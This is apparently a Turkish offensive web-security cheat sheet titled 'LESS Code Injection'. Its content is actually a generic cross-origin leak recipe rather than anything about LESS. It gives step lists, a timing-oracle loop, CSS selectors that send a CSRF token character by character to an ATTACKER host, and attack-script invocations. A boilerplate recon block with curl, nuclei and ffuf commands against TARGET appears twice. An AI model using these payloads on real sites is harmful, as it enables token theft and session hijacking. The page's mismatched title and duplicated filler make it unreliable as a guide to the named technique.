Skip to content

LESS Code Injection

web offensive

LESS Code Injection web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.

  1. Çapraz origin boolean oracle adayını bul.

  2. Timing/error/CSS/connection kanalını kalibre et.

  3. Karakter karakter sızıntıyı otomatize et.

  4. Sızan secret ile oturum etkisini bağla.

Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.

const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;
<link rel=prerender href='https://TARGET/search?q=secret'>
input[name=csrf][value^=a]{background:url(https://ATTACKER/a)}
input[name=csrf][value^=ab]{background:url(https://ATTACKER/ab)}
Terminal window
python3 css-exfil.py --charset hex --attr value
async function oracle(q){ /* timing/error/frame */ return bool }
for (const c of charset) if (await oracle(prefix+c)) prefix+=c
Terminal window
python3 xsleak.py --target https://TARGET/search --param q

LESS Code Injection sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html